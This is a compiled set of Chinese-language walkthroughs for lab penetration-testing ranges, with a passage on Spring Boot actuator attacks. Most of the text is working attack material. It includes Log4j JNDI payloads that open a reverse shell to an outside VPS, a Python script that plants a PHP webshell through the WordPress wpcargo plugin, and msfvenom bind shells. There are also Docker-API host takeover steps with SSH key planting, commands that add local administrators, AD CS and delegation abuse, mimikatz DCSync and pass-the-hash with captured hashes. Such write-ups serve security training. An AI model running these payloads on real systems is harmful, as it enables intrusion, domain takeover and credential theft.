protected]@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txthashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt这样获得了两个账号和密码 [email protected]/strawberry [email protected]/hellokitty‍ 域环境分析使用域账号登录 172.22.6.25,上传SharpHound进行数据采集 SharpHound.exe -c all导出文件里面有多个json,保存着域内的各种关系 上传数据到BloodHound,点击Analysis,查找最短到达域管理员的路径 Find Shortest Paths to Domain Admins路径由粗到细的那边,就是xx对xx具有的权限或者说关系,所以路径如下 从BloodHound上可以知道下一步我们需要对yuxuan这个用户动手 ‍ windows自动登录HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019 很多用户习惯将计算机设置自动登录,可以使用MSF抓取自动登录的用户名和密码 先生成一个正向的shell msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe然后上传到目标机器 win2019 (172.22.6.25)上运行 使用代理运行msf然后连接 use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 172.22.6.25 run抓取自动登录的密码 meterpreter > run windows/gather/credentials/windows_autologin我这里没抓到密码,做不下去了。 没办法只能看着别人的wp继续了。 抓密码得到yuxuan/Yuxuan7QbrgZ3L,ok现在我们就可以拿yuxuan登上WIN2019了 哈希传递HasSIDHistory:用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限 使用yuxuan这个用户抓Administrator的哈希 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exitsmb横向WIN2019,获得第三个flag proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" 原文链接: https://zhuanlan.zhihu.com/p/582525371
  19. 说明Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 技术Solr、AD CS、SMB、Kerberos、域渗透 第一个flaglog4j RCE扫描外网IP 发现solr存在log4j的组件,测试是否存在rce GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1 Host: 47.92.113.194:8983 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: closednslog回显 JNDI反弹shell,在VPS上开启 # 加载恶意类 java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx #开启监听 nc -lvvp 5555payload ${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}发送请求 GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1 Host: 47.92.113.194:8983 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: close成功反弹shell sudo提权 sudo -lsudo grc --helpsudo grc --pty whoami查找flag sudo grc --pty find / -name flag*输出flag sudo grc --pty cat /root/flag/flag01.txt第二个flag内网渗透出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan) 172.22.9.13:445 open 172.22.9.26:445 open 172.22.9.47:445 open 172.22.9.7:445 open 172.22.9.26:139 open 172.22.9.47:139 open 172.22.9.7:139 open 172.22.9.26:135 open 172.22.9.13:139 open 172.22.9.13:135 open 172.22.9.7:135 open 172.22.9.26:80 open 172.22.9.47:80 open 172.22.9.19:80 open 172.22.9.47:22 open 172.22.9.47:21 open 172.22.9.19:22 open 172.22.9.7:88 open 172.22.9.19:8983 open [+] NetInfo: [*]172.22.9.13 [->]CA01 [->]172.22.9.13 [*] 172.22.9.7 [+]DC XIAORANG\XIAORANG-DC [*] 172.22.9.26 XIAORANG\DESKTOP-CBKTVMO [+] NetInfo: [*]172.22.9.26 [->]DESKTOP-CBKTVMO [->]172.22.9.26 [+] NetInfo: [*]172.22.9.7 [->]XIAORANG-DC [->]172.22.9.7 [*] 172.22.9.13 XIAORANG\CA01 [*] WebTitle:http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] WebTitle:http://172.22.9.19 code:200 len:612 title:Welcome to nginx! [*] 172.22.9.47 WORKGROUP\FILESERVER Windows 6.1 [*] 172.22.9.47 (Windows 6.1) [*] WebTitle:http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/ [*] WebTitle:http://172.22.9.26 code:200 len:703 title:IIS Windows Server [*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin发现以下资产 172.22.9.19 入口IP 172.22.9.7 DC 172.22.9.26 域成员 172.22.9.47 文件服务器 172.22.9.13 CA根据提示,文件服务器应该存在smb的共享,进一步收集信息 注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描 sudo grc --pty nmap -sT -A 172.22.9.47使用 smbclient 连接共享 proxychains smbclient \\\\172.22.9.47\\fileshare dir get personnel.db get secret\flag02.txt获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is? 第三个flag数据库文件中有几个用户名和密码 rdp破解 proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns获得了两个账号,但是无法远程登录 Kerberoast攻击使用GetUserSPNs.py寻找注册在域用户下的SPN proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjianhash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本 hashcat64.exe -m 13100 1.txt rockyou.txt得到zhangxia/MyPass2@@6,使用账号密码远程登录即可 注意,因为是域账号所以用户名为 [email protected],登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限 ADCS ESC1使用Certify.exe定位漏洞 Certify.exe find /vulnerableESC1利用前提条件: msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT 表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户 PkiExtendedKeyUsage: Client Authentication 表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证 Enrollment Rights: NT Authority\Authenticated Users 表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书 ‍ 为域管申请证书 Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator 转换格式 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx请求TGT、PTT 因为导出证书转换的时候并没有输入密码,所以这里密码留空就行 Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt获取到域管的票据后导出哈希 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit哈希传递PTH 172.22.9.26 proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"第四个flagPTH DC proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 [email protected] 原文链接: https://zhuanlan.zhihu.com/p/581487685
  20. 说明Unauthorized是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。 技术FTP、Privilege Elevation、AD CS、Kerberos、域渗透 第一个flagdocker 未授权通过外网信息收集,发现docker未授权 https://cloud.tencent.com/developer/article/1744943 查看镜像 docker -H tcp://47.92.7.138:2375 images查看容器 docker -H tcp://47.92.7.138:2375 ps -a启动容器并将宿主机磁盘挂载到/mnt docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04写入公钥在vps上生成秘钥,敲下回车后会有3个交互,第一个是文件名,默认是id_rsa,如需修改,自己输入一个文件名便可。第二与第三是密码与确认密码,是以后使用该公钥时要输入的密码,一般不设置,如有强烈的安全需求,自己设置便可。最后会生成两个文件id_rsa,id_rsa.pub。以.pub结尾的是公钥,另一个是私钥 ssh-keygen -t rsa将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中 cd /mnt/root/.ssh/ echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys可以本地直接用私钥登录ssh 查找flag,提示flag并不在这里 mysql弱口令查看本机开放的端口 netstat -aptn查看历史命令,找到mysql密码为123456,其实爆破也能爆破出来 history访问mysql数据库 mysql -uroot -p123456 mysql> show databases; mysql> use secret; mysql> show tables; mysql> select * from f1agggg01获得第一个flag ‍第二个flag横向渗透上传npc设置代理,fscan扫描 172.22.7.0/24 172.22.7.67:8081 open 172.22.7.13:80 open 172.22.7.13:22 open 172.22.7.67:445 open 172.22.7.31:445 open 172.22.7.67:21 open 172.22.7.6:445 open 172.22.7.67:80 open 172.22.7.67:139 open 172.22.7.31:139 open 172.22.7.6:139 open 172.22.7.31:135 open 172.22.7.67:135 open 172.22.7.6:135 open 172.22.7.6:88 open 172.22.7.13:2375 open [+] NetInfo: [*]172.22.7.6 [->]DC02 [->]172.22.7.6 [*] 172.22.7.67 XIAORANG\WIN-9BMCSG0S [*] WebTitle:http://172.22.7.13 code:200 len:27170 title:某某装饰 [+] NetInfo: [*]172.22.7.67 [->]WIN-9BMCSG0S [->]172.22.7.67 [+] NetInfo: [*]172.22.7.31 [->]ADCS [->]172.22.7.31 [*] 172.22.7.31 XIAORANG\ADCS [*] 172.22.7.6 [+]DC XIAORANG\DC02 [*] WebTitle:http://172.22.7.13:2375 code:404 len:29 title:None [+] ftp://172.22.7.67:21:anonymous [->]1-1P3201024310-L.zip [->]1-1P320102603C1.zip [->]1-1P320102609447.zip [->]1-1P320102615Q3.zip [->]1-1P320102621J7.zip [->]1-1P320102J30-L.zip [*] WebTitle:http://172.22.7.67 code:200 len:703 title:IIS Windows Server [*] WebTitle:http://172.22.7.67:8081 code:200 len:4621 title:公司管理后台 [+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce [+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file [+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak FTP未授权发现了http://172.22.7.67:8081/www.zip 备份压缩包 ,解压后发现download的文件夹与匿名登录的ftp的共享文件一致 因此可以通过ftp上传 webshell shell地址 http://172.22.7.67:8081/download/shell.asp直接使用土豆提权,上传SweetPotato.exe SweetPotato.exe -a "whoami"经测试3389是开启的,直接添加账号然后登录 SweetPotato.exe -a "net user devyn Admin@123 /add" SweetPotato.exe -a "net localgroup administrators devyn /add"获取flag ‍第三个flag注意此新建的用户无法执行域命令,所以需要查询到域账号,然后使用PTH登录,如果找到密码可以直接登录,其实也可以直接在shell中执行mimikatz抓取Hash,这边远程桌面使用cmd执行方便一点 抓取到了域账户 zhangfeng/FenzGTaVF6En,重新使用域账号登录,注意用户名要填写 [email protected] shadow-credentialshttps://wiki.whoamianony.top/active-directory-methodology/shadow-credentials 以下账户拥有 msDS-KeyCredentialLink 属性的写入权限: 域管理员账户Key Admins 组中的账户Enterprise Key Admins 组中的账户对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限zhangfeng账户在Key Admins组中,具有写入权限 向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab添加成功后,程序提示命令,基于证书的身份验证请求TGT票据,注意提示命令的最后加上 /ptt 域控制器账户拥有特权,可以使用 Mimikatz 执行 DCSync 来导出域管哈希 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit哈希传递proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 [email protected] 原文链接: https://zhuanlan.zhihu.com/p/581451146
  21. 说明Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 技术Redis、Brute Force、SMB、Privilege Elevation、域渗透 第一个flagredis主从复制RCEfscan扫描入口ip,如果下面入口ip有变化是因为重启的环境,流程没有问题 发现了redis的未授权,测试了写计划任务反弹shell,提示没有权限,尝试redis主从复制RCE成功 suid提权用户为redis,需要提权,使用suid提权,可以执行以下命令,具体可以查看 Linux系统suid提权1 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;base64是具有suid权限的,我们可以通过base64读取本地文件并输出,获取到第一个flag base64 "/home/redis/flag/flag01" | base64 --decode 第二个flagwpcargo未授权RCE在入口ip的服务器上设置代理,并进行内网扫描,通过weget上传 npc和fscan start ping (icmp) Target 172.22.2.18 is alive (icmp) Target 172.22.2.34 is alive (icmp) Target 172.22.2.3 is alive (icmp) Target 172.22.2.7 is alive (icmp) Target 172.22.2.16 is alive [*] Icmp alive hosts len is: 5 172.22.2.16:445 open 172.22.2.34:445 open 172.22.2.3:445 open 172.22.2.18:445 open 172.22.2.16:139 open 172.22.2.34:139 open 172.22.2.3:139 open 172.22.2.34:135 open 172.22.2.16:135 open 172.22.2.18:139 open 172.22.2.3:135 open 172.22.2.16:80 open 172.22.2.3:88 open 172.22.2.18:22 open 172.22.2.7:80 open 172.22.2.7:22 open 172.22.2.7:6379 open 172.22.2.16:1433 open 172.22.2.7:21 open 172.22.2.18:80 open [*] alive ports len is: 20 start vulscan [+] NetInfo: [*]172.22.2.16 [->]MSSQLSERVER [->]172.22.2.16 [*] 172.22.2.34 XIAORANG\CLIENT01 [*] 172.22.2.16 (Windows Server 2016 Datacenter 14393) [+] NetInfo: [*]172.22.2.3 [->]DC [->]172.22.2.3 [*] WebTitle:http://172.22.2.16 code:404 len:315 title:Not Found [+] NetInfo: [*]172.22.2.34 [->]CLIENT01 [->]172.22.2.34 [*] WebTitle:http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS [*] 172.22.2.16 XIAORANG\MSSQLSERVER Windows Server 2016 Datacenter 14393 [*] 172.22.2.3 [+]DC XIAORANG\DC Windows Server 2016 Datacenter 14393 [*] 172.22.2.18 WORKGROUP\UBUNTU-WEB02 [*] 172.22.2.3 (Windows Server 2016 Datacenter 14393) [+] ftp://172.22.2.7:21:anonymous [->]pub [*] WebTitle:http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点使用 wpscan扫描下wordpress站点 proxychains wpscan --url http://172.22.2.18可以看到存在wpcargo插件,搜索相关漏洞,有个未授权RCE漏洞 https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a import sys import binascii import requests # This is a magic string that when treated as pixels and compressed using the png # algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50' def encode_character_code(c: int): return '{:08b}'.format(c).replace('0', 'x') text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:] destination_url = 'http://172.22.2.18/' cmd = 'ls' # With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels. requests.get( f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php" ) # We have uploaded a webshell - now let's use it to execute a command. print(requests.post( f"{destination_url}webshell.php?1=system", data={"2": cmd} ).content.decode('ascii', 'ignore'))生成shell http://172.22.2.18/webshell.php?1=system POST:2=whoami连接蚁剑,注意类型要选择 cmdLinux (这个浪费了很多时间,对工具不熟悉) 查看数据库的配置,并连接 找到第二个flag 第三个flag发现了一张存放密码的表 MSSqlServer RCE用刚才数据库里拿到的密码表爆破MsSQL,得到密码为ElGNkOiC 使用Multiple.Database.Utilization.Tools工具连接 先激活Ole Automation Procedures组件,再上传SweetPotato.exe提权,得到system权限 C:/Users/MSSQLSERVER/Desktop/SweetPotato.exe -a "netstat -ano"发现3389开放着,直接添加用户,远程连接 net user devyn Admin123 /add net localgroup administrators devyn /add远程连接成功 获得第三个flag ‍第四个flag域渗透使用mimikatz,抓取域用户的hash 获取到域用户的哈希为78a2811aabd779d0da3cef84903ca3e6 约束委派攻击MSSQLSERVER机器配置了到 DC LDAP 和 CIFS 服务的约束性委派 首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据 Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中 Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3jomeuPBK3C69yaGuyDCLGYHRyVjZg4zXrEwUSwvFS0kZ+4Q2uTcKGqYw3GLs5sf0/MJ0fHiL1V8u5WrLpgR5hBlYUGN+g1zmv3uiTXO7QobxH0lR0dUUKuNdPoxdPdx26Liz5/xdDFvz4xTyMKDqqRxgBWquqGjh1cp/woy4U4tXJo+L8CfQ424Kgdb3n/rJYRNY54m8QHl/smHg3PpMgTT2FEiJ5Jag+qDpM/R/XUOIJHNzSfCVi2XiLGqPF374jUbih9UTZvlqRoSHz9qljZlBsEAqen9ctu01tmNn4ACRz4mqMV11MyV9scfeJnQbCpGdS+zveSrT53dwFotrg00o4Jq6RGr9dR/6ZMKC1W/kfwSXdF1b/H3HOMM7HzK0qLfSbDtq8i1e2FdZ5kyOVbbtAE6irAizzK7ScDS4rO9RRSDl6BNaV25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBUUQBzsA/6BBmEAnxvfKX1B8xViT0rq1I/pLKS9LKWTKyuHJd67z6XDRN7IWR0fstyqGuvHPn391l02zNUJRK5/7jyOyKwhQ3sb/XRzC4YbLeGgImMGRZ0fqrQ+hRBQbTuNr2/i4hgyWDLuBSEvz5qb1kXcebRkWuCHhpGKtsdbyZ30tnpA0W2qWu8qJ8zKks04r2Hj91lCPudAbrjhjjFf/UNd+fHcfYlAu0xzMuR8eKUA22Lcv0fEf2igvIu38bCRvUjfGkh423fgPsR4Xom8/8lNWhU+kaAiGSwSER8UGr8jiDVjtmgF5ScFoQDM+kVJ5o0ZnettUHJhcVMAdlI1QTq5WjQRIea6u4d6bYSHI43ips6So8hEcsB/03FpOKR/SRUYveALw3IAwAJtAPtW/SrzUeLXEemVg2aADTl1qXNw04A0e9v8XQnnm7lyCJfmI3pXJVsycjJyviDwazFtHGbQoM3fhlZ4zpBlfBKagxQr624YO5yIaJbl9/Dp4M7iauUIbo7kAWCfka1iafKyGDFGAXudAb52dt72jw0/QpeLP08RORDLtY8IrpjKAzHsSGuVYukY07lR+ck95MeKFDnl8cwaKw0MB8f92n4g4OfWQbUJK/479LYMZBDG38iwHHv/MLiaCylHm5nazaY0JJxJ2CeqIvsAFlfm7gp23V5Hj/T+eKt0zd3EIjNhuwBvhYeVKKQCFJZGaRelQKxaptmKhhgILA+wTKvCxpQX6qx8b40pg9r1rr4zQ9buPb4JNnqwHe5SIgPURR02Xv5FUiiI9Qc5//bUhxCEOXi0TFASRbghAyNA/TLRVAqfvtgqv6SKb4jw265bdrQQrPITm1En79jsNw6adH1curFJr++PS6ZYX6yqK3DlJ5Piiy2OAVLPIPcN1zmbZ+jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBAXgLFznI5hHEOCpAjFdNEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIyMTAyODEyMjIzM1qmERgPMjAyMjEwMjgyMjIyMzNapxEYDzIwMjIxMTA0MTIyMjMzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==LDAP 服务具有DCSync权限,导出域内用户的Hash mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit获得域管理员哈希 1a19251fbd935969832616366ae3fe62 WMI横向得到域管的哈希后我们可以通过WMI服务登录域控 python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 [email protected]获得第四个flag 另一种方法直接通过哈希传递就能拿下域控,这里使用crackmapexec来进行PTH proxychains crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt" 原文链接:https://zhuanlan.zhihu.com/p/581577873
  22. 0x1 InfoTag: MSSQL,Privilege Escalation,Kerberos,域渗透,RDP 靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU0x2 ReconTarget external ip 47.92.82.196nmap MSSQL 弱口令爆破,爆破出有效凭据,权限为服务账户权限(MSSQLSERVER) sa:1qaz!QAZ 0x3 入口点 MSSQL - 172.22.8.18前言,该机器不在域内直接MSSQL shell(这里做完了忘记截图了..) 提权,这里直接获取Clsid暴力怼potato(前面几个clsid是用不了的) 修改GetClsid.ps1,添加执行potato Potato和GetClsid.ps1 执行GetClsid.ps1 获取到有效clsid以及命令执行结果 导出SAM,SYSTEM,Security 解出凭据,用administrator + psexec 139横向(外网没有开445)就能获取到 flag01 administrator 2caf35bb4c5059a3d50599844e2b9b1f qwinsta和端口连接看到有机器rdp过来 这边使用administrator psexec后上msf(system权限),使用incognito模块,模拟至john(本人实测,只有msf的incognito能完成后续操作,f-secure lab等其他的模拟令牌工具没成功) 使用john的token执行 net use 看到 \\tsclient\C 共享 直接获取 \\tsclient\C 下面的 credential.txt,同时提示 hijack image (镜像劫持) xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# 快进,略过搭建代理过程CME 扫描 172.22.8.0/24,有三个机器提示密码过期了 测试一下 DC01 88端口是否开启(测是否域控),DC01为域控smbpasswd.py 远程修改一下过期密码,改成111qqq... ldapshell.py 验证,登录域成功 CME 枚举 RDP,显示能登录进入 172.22.8.46(用CME官方的RDP模块不会扫出有效RDP凭据,这边自己写了一个基于xfreerdp的CME模块) XiaoliChan/CrackMapExec-Extension 0x4 域渗透 - 入口 - 172.22.8.46登录进入,查看到 xiaorang.lab\Aldrich 不是这台机器的管理员,只是普通用户 提权,两种方法 Priv-ESC1:镜像劫持提权(常规) Get-ACL查看到任何用户都可以对注册表 "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" 进行写入,创建操作 创建一个劫持magnify.exe(放大镜)的注册表,执行CMD.exe 锁定用户 点击放大镜 提权至system Priv-ESC2:krbrelayup提权 域普通权限用户在域内机器,直接带走(非常规,推荐) 快进mimikatz,获取到当前机器的机器账户 win2016$xiaorang.lab\WIN2016$ 4ba974f170ab0fe1a8a1eb0ed8f6fe1a 0x5 域渗透 - DC Takeover两种方法观察 WIN2016$ 的组关系,发现处于 Domain Admins 组,直接使用 Dcsync 带走 DC01 (过程略) 约束委派(非常规) Bloodhound收集域信息,分析,发现存在约束委派 使用 getST.py 进行约束委派攻击 带走 DC01 原文链接: https://www.freebuf.com/articles/system/352237.html
  23. 一、SpringBoot env 获取* 敏感信息 当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了* 通过${name} 可以获取明文字段 2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) 参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA 具体实现过程: 例如: 我们要获取 pid 参数值 "PID": "10648", POST /env HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 76 eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/ 然后 post refresh 任意内容,触发漏洞 Ps: 一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用 POST /refresh HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 12312 当服务器 nc 监听端口2444 时,接收到 root@kali:/tmp# nc -lvvp 2444 listening on [any] 2444 ... connect to [10.20.24.191] from kali [10.20.24.191] 40960 GET /xstream/apps/ HTTP/1.1 Accept: application/json DiscoveryIdentity-Name: DefaultClient DiscoveryIdentity-Version: 1.4 DiscoveryIdentity-Id: 10.20.24.191 Accept-Encoding: gzip Host: 10.20.24.191:2444 Connection: Keep-Alive User-Agent: Java-EurekaClient/v1.4.11 Authorization: Basic MzgzNDY6bnVsbA== Authorization: Basic MzgzNDY6bnVsbA== base64 解码得到 root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d 38346:null 和上面的 pid 信息一样 同样 获取 user.country参数,步骤也一样 结果: root@kali:/tmp# nc -lvvp 2555 listening on [any] 2555 ... connect to [10.20.24.191] from kali [10.20.24.191] 38994 GET /xstream/apps/ HTTP/1.1 Accept: application/json DiscoveryIdentity-Name: DefaultClient DiscoveryIdentity-Version: 1.4 DiscoveryIdentity-Id: 10.20.24.191 Accept-Encoding: gzip Host: 10.20.24.191:2555 Connection: Keep-Alive User-Agent: Java-EurekaClient/v1.4.11 Authorization: Basic VVM6bnVsbA== sent 0, rcvd 310 base64 解码得到 root@kali:/tmp# echo VVM6bnVsbA== |base64 -d US:null脚本化: 输入要查询的参数,输入 nc 监听的端口 监听端口,获取指定 header 头,自动 base64 解密 Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),则可以利用其中的XStream反序列化漏洞。 例如: User-Agent: Java-EurekaClient/v1.4.11 二、SpringBoot_Actuator JNDI RCE1. 环境搭建git clone https://github.com/veracode-research/actuator-testbed 启动 mvn install 或 mvn spring-boot:run 通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了 查找关键文件 grep -r 'server.address' -n ./ ./src/main/resources/application.properties:2:server.address=127.0.0.1 ./target/classes/application.properties:2:server.address=127.0.0.1 改为 server.port=8090 server.address=0.0.0.0 # vulnerable configuration set 0: spring boot 1.0 - 1.4 # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters # no configuration required to expose them # safe configuration set 0: spring boot 1.0 - 1.4 #management.security.enabled=true # vulnerable configuration set 1: spring boot 1.5+ # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators #management.security.enabled=false # safe configuration set 1: spring boot 1.5+ # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 